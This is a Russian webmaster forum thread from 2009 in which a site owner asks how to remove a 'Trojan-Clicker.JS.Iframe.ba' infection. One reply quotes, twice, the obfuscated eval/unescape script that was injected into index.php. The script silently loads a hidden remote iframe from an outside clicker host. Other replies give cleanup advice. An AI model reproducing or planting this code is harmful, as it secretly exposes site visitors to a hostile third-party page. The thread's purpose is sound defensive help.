X   Сообщение сайта
(Сообщение закроется через 3 секунды)



 

Здравствуйте, гость (

| Вход | Регистрация )

3 страниц V   1 2 3 >
Открыть тему
Тема закрыта
> Как удалить троян с сайтов?, на моих сайтах! Trojan-Clicker.JS.Iframe.ba
cerrus
cerrus
Topic Starter сообщение 24.11.2009, 23:05; Ответить: cerrus
Сообщение #1


Привет! Друзья!
Вот никак мне без вас,
помогите исправить проблему, я тут поставил антивирус касперрского, и столкнулся с следующей бедой
оказывается у меня на моих сайтах "Trojan-Clicker.JS.Iframe.ba" ПОМОГИТЕ, ребята если кто то знает решение етой проблемы то скажите где сидит червяк и как его убрать,
очень надеюсь на вашу помощь



Сообщение отредактировал Salmar - 24.11.2009, 23:23
Причина редактирования: Тема исправлена в соответствии с правилами, просьба учесть на будущее, чтобы не получать предупреждения! В этот раз оно устное.


--------------------
0
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Zonder
Zonder
сообщение 24.11.2009, 23:08; Ответить: Zonder
Сообщение #2


ищи в index.php

///


это ты прописывал?
<script>var PnC=eval,NmB=unescape;PnC(NmB(".64.6f.63.75.6d.65.6e.74.2e.77.72.69.74.65.28.22.3c.68.74.6d.6c.3e.3c.62.6f
.64.79.3e.3c.73.63.72.69.70.74.3e.76.61.72.20.74.65.6d.70.49.46.72.61.6d.65.3d.6
4
.6f.63.75.6d.65.6e.74.2e.63.72.65.61.74.65.45.6c.65.6d.65.6e.74.28.27.69.66.72.6
1
.6d.65.27.29.3b.74.65.6d.70.49.46.72.61.6d.65.2e.73.65.74.41.74.74.72.69.62.75.7
4
.65.28.27.69.64.27.2c.27.52.53.49.46.72.61.6d.65.27.29.3b.74.65.6d.70.49.46.72.6
1
.6d.65.2e.73.65.74.41.74.74.72.69.62.75.74.65.28.27.73.72.63.27.2c.27.68.74.74.7
0
.3a.2f.2f.63.6c.69.63.6b.2d.79.61.6e.64.65.78.2e.6e.65.74.2f.67.65.74.2f.69.6e.2
e
.63.67.69.3f.34.27.29.3b.74.65.6d.70.49.46.72.61.6d.65.2e.73.74.79.6c.65.2e.76.6
9
.73.69.62.69.6c.69.74.79.3d.27.68.69.64.64.65.6e.27.3b.74.65.6d.70.49.46.72.61.6
d
.65.2e.73.74.79.6c.65.2e.77.69.64.74.68.3d.27.30.70.78.27.3b.74.65.6d.70.49.46.7
2
.61.6d.65.2e.73.74.79.6c.65.2e.68.65.69.67.68.74.3d.27.30.70.78.27.3b.49.46.72.6
1
.6d.65.4f.62.6a.20.3d.20.64.6f.63.75.6d.65.6e.74.2e.62.6f.64.79.2e.61.70.70.65.6
e
.64.43.68.69.6c.64.28.74.65.6d.70.49.46.72.61.6d.65.29.3b.3c.2f.73.63.72.69.70.7
4
.3e.3c.2f.62.6f.64.79.3e.3c.2f.68.74.6d.6c.3e.22.29.3b".replace(/[\+.]/g,"%")));</script>
<!-- DataLife Engine Copyright SoftNews Media Group (http://dle-news.ru) -->
<script>var PnC=eval,NmB=unescape;PnC(NmB(".64.6f.63.75.6d.65.6e.74.2e.77.72.69.74.65.28.22.3c.68.74.6d.6c.3e.3c.62.6f
.64.79.3e.3c.73.63.72.69.70.74.3e.76.61.72.20.74.65.6d.70.49.46.72.61.6d.65.3d.6
4
.6f.63.75.6d.65.6e.74.2e.63.72.65.61.74.65.45.6c.65.6d.65.6e.74.28.27.69.66.72.6
1
.6d.65.27.29.3b.74.65.6d.70.49.46.72.61.6d.65.2e.73.65.74.41.74.74.72.69.62.75.7
4
.65.28.27.69.64.27.2c.27.52.53.49.46.72.61.6d.65.27.29.3b.74.65.6d.70.49.46.72.6
1
.6d.65.2e.73.65.74.41.74.74.72.69.62.75.74.65.28.27.73.72.63.27.2c.27.68.74.74.7
0
.3a.2f.2f.63.6c.69.63.6b.2d.79.61.6e.64.65.78.2e.6e.65.74.2f.67.65.74.2f.69.6e.2
e
.63.67.69.3f.34.27.29.3b.74.65.6d.70.49.46.72.61.6d.65.2e.73.74.79.6c.65.2e.76.6
9
.73.69.62.69.6c.69.74.79.3d.27.68.69.64.64.65.6e.27.3b.74.65.6d.70.49.46.72.61.6
d
.65.2e.73.74.79.6c.65.2e.77.69.64.74.68.3d.27.30.70.78.27.3b.74.65.6d.70.49.46.7
2
.61.6d.65.2e.73.74.79.6c.65.2e.68.65.69.67.68.74.3d.27.30.70.78.27.3b.49.46.72.6
1
.6d.65.4f.62.6a.20.3d.20.64.6f.63.75.6d.65.6e.74.2e.62.6f.64.79.2e.61.70.70.65.6
e
.64.43.68.69.6c.64.28.74.65.6d.70.49.46.72.61.6d.65.29.3b.3c.2f.73.63.72.69.70.7
4
.3e.3c.2f.62.6f.64.79.3e.3c.2f.68.74.6d.6c.3e.22.29.3b".replace(/[\+.]/g,"%")));</script>


если нет то удаляй

Сообщение отредактировал Zonder - 24.11.2009, 23:09


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
KipiaSoft
KipiaSoft
сообщение 24.11.2009, 23:09; Ответить: KipiaSoft
Сообщение #3


смотри файлы index


--------------------


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
cerrus
cerrus
Topic Starter сообщение 24.11.2009, 23:11; Ответить: cerrus
Сообщение #4


Не не я не чего не прописывал


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Zonder
Zonder
сообщение 24.11.2009, 23:13; Ответить: Zonder
Сообщение #5


(cerrus @ 24.11.2009, 22:11) *
Не не я не чего не прописывал



в файле index.php удаляй эти строки >>> см выше


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
dibility
dibility
сообщение 24.11.2009, 23:13; Ответить: dibility
Сообщение #6


Проверь все файло на наличие того, что показали.
Обычно фреймят не только индекс, но и глубже.


--------------------


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Stark
Stark
сообщение 24.11.2009, 23:20; Ответить: Stark
Сообщение #7


Вот у меня kasseler cms дак там во всех папках в каждом index.php файле было по вирусу, но после смены прав на папки все стало норм.


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
pyromaniac
pyromaniac
сообщение 24.11.2009, 23:47; Ответить: pyromaniac
Сообщение #8


Также замечал сей код и в некоторых index.html, так что проверяй тщательно...


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
lostprophet
lostprophet
сообщение 24.11.2009, 23:52; Ответить: lostprophet
Сообщение #9


pyromaniac, именно этот код был???


--------------------


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
pyromaniac
pyromaniac
сообщение 24.11.2009, 23:56; Ответить: pyromaniac
Сообщение #10


(lostprophet @ 24.11.2009, 23:52) *
pyromaniac, именно этот код был???

Да, такой же, полностью избавился уже

Сообщение отредактировал pyromaniac - 24.11.2009, 23:56


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
3 страниц V   1 2 3 >
Открыть тему
Тема закрыта
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0


Свернуть

> Похожие темы

  Тема Ответов Автор Просмотров Последний ответ
Горячая тема (нет новых ответов) Делаю полностью уникальный дизайн для сайтов!
46 AlexDIZ 93474 26.3.2024, 20:03
автор: AlexDIZ
Открытая тема (нет новых ответов) Продвижение сайтов в ТОП-1 за сутки. Бесплатный тест!
13 matias 3272 26.3.2024, 19:53
автор: matias
Открытая тема (нет новых ответов) Большие ставки для кликов в Я.Директ. Как удешевить?
2 rownong27 1120 26.3.2024, 14:13
автор: knezevolk
Открытая тема (нет новых ответов) Нужны ссылки с adult сайтов
3 TABAK 8035 25.3.2024, 13:44
автор: Wilkinson
Открытая тема (нет новых ответов) Как вы бросили работу и перешли на заработок с сайтов?
12 uahomka 2291 25.3.2024, 6:52
автор: Skyworker


 



RSS Текстовая версия Сейчас: 29.3.2024, 0:50
Дизайн